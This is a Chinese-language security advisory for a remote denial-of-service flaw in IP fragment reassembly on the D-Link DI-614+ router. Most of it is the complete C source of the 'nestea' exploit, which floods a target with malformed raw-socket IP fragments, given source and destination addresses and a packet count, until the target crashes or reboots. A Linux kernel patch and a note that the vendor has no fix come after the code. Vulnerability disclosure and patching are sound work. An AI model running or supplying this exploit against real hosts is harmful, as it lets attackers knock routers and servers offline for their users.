D-Link DI-614+ IP分片重组拒绝服务漏洞发布时间：2003-04-10 更新时间：2003-04-10 严重程度：高 威胁程度：远程拒绝服务 错误类型：设计错误 利用方式：服务器模式 BUGTRAQ ID：7219 受影响系统 D-Link DI-614+ 2.0详细描述 D-Link DI-614+固件IP协议的实现上存在漏洞，远程攻击者可以利用此漏洞对设备进行拒绝服务攻击。漏洞与IP分片的重组有关，畸形的IP分片会引发此漏洞。有一个以前攻击老漏洞的代码可以利用此漏洞，当设备被攻击的时候会立即重起，导致拒绝服务。 测试代码 // nestea.c by humble of rhino9 4/16/98 // This exploits the "off by one ip header" bug in the linux ip frag code. // Crashes linux 2.0.* and 2.1.* and some windows boxes // this code is a total rip of teardrop - it's messy // hi sygma #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <netdb.h> #include <netinet/in.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/time.h> #include <sys/socket.h> // bsd usage is currently broken because of socket options on the third sendto #ifdef STRANGE_BSD_BYTE_ORDERING_THING /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */ #define FIX(n) (n) #else /* OpenBSD 2.1, all Linux */ #define FIX(n) htons(n) #endif /* STRANGE_BSD_BYTE_ORDERING_THING */ #define IP_MF 0x2000 /* More IP fragment en route */ #define IPH 0x14 /* IP header size */ #define UDPH 0x8 /* UDP header size */ #define MAGIC2 108 #define PADDING 256 /* datagram frame padding for first packet */ #define COUNT 500 /* we are overwriting a small number of bytes we shouldnt have access to in the kernel. to be safe, we should hit them till they die :> */ void usage(u_char *); u_long name_resolve(u_char *); u_short in_cksum(u_short *, int); void send_frags(int, u_long, u_long, u_short, u_short); int main(int argc, char **argv) { int one = 1, count = 0, i, rip_sock; u_long src_ip = 0, dst_ip = 0; u_short src_prt = 0, dst_prt = 0; struct in_addr addr; if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("raw socket"); exit(1); } if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc < 3) usage(argv[0]); if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2]))) { fprintf(stderr, "What the hell kind of IP address is that?\n"); exit(1); } while ((i = getopt(argc, argv, "s:t:n:")) != EOF) { switch (i) { case 's': /* source port (should be emphemeral) */ src_prt = (u_short)atoi(optarg); break; case 't': /* dest port (DNS, anyone?) */ dst_prt = (u_short)atoi(optarg); break; case 'n': /* number to send */ count = atoi(optarg); break; default : usage(argv[0]); break; /* NOTREACHED */ } } srandom((unsigned)(time((time_t)0))); if (!src_prt) src_prt = (random() % 0xffff); if (!dst_prt) dst_prt = (random() % 0xffff); if (!count) count = COUNT; fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n"); fprintf(stderr, "Death on flaxen wings (yet again):\n"); addr.s_addr = src_ip; fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt); addr.s_addr = dst_ip; fprintf(stderr, " To: %15s.%5d\n", inet_ntoa(addr), dst_prt); fprintf(stderr, " Amt: %5d\n", count); fprintf(stderr, "[ "); for (i = 0; i < count; i++) { send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt); fprintf(stderr, "b00m "); usleep(500); } fprintf(stderr, "]\n"); return (0); } void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt, u_short dst_prt) { int i; u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */ u_char byte; /* a byte */ struct sockaddr_in sin; /* socket protocol structure */ sin.sin_family = AF_INET; sin.sin_port = src_prt; sin.sin_addr.s_addr = dst_ip; packet = (u_char *)malloc(IPH + UDPH + PADDING+40); p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + 10); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + 10); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING); byte = 0x45; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = FIX(6); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 4; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + MAGIC2); /* UDP total length */ if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } p_ptr = packet; bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40); byte = 0x4F; /* IP version and header length */ memcpy(p_ptr, &byte, sizeof(u_char)); p_ptr += 2; /* IP TOS (skipped) */ *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40); /* total length */ p_ptr += 2; *((u_short *)p_ptr) = htons(242); /* IP id */ p_ptr += 2; *((u_short *)p_ptr) = 0 | FIX(IP_MF); /* IP frag flags and offset */ p_ptr += 2; *((u_short *)p_ptr) = 0x40; /* IP TTL */ byte = IPPROTO_UDP; memcpy(p_ptr + 1, &byte, sizeof(u_char)); p_ptr += 4; /* IP checksum filled in by kernel */ *((u_long *)p_ptr) = src_ip; /* IP source address */ p_ptr += 4; *((u_long *)p_ptr) = dst_ip; /* IP destination address */ p_ptr += 44; *((u_short *)p_ptr) = htons(src_prt); /* UDP source port */ p_ptr += 2; *((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */ p_ptr += 2; *((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */ for(i=0;i<PADDING;i++) { p_ptr[i++]=random()%255; } if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)) == -1) { perror("\nsendto"); free(packet); exit(1); } free(packet); } u_long name_resolve(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) return (0); bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length); } return (addr.s_addr); } void usage(u_char *name) { fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n", name); exit(0); } SOLUTION Apply the following patch to icmp_fragment.c in your kernel (fixes for Windows not yet determined). (Patch from Alan Cox) --- ip_fragment.c.old Thu Apr 16 12:25:34 1998 +++ ip_fragment.c Thu Apr 16 12:29:02 1998 @@ -375,7 +375,7 @@ fp = qp->fragments; while(fp != NULL) { - if (fp->len < 0 || count+fp->len > skb->len) + if (fp->len < 0 || fp->offset+qp->ihlen+fp->len > skb->len) { NETDEBUG(printk("Invalid fragment list: Fragment over size.\n")); ip_free(qp); 解决方案 厂商还未提供解决方案。 相关信息 Thomas Reinke <reinke@e-softinc.com> D-Link DI-614 wiresless router crash/reboots http://online.securityfocus.com/archive/1/316584 |
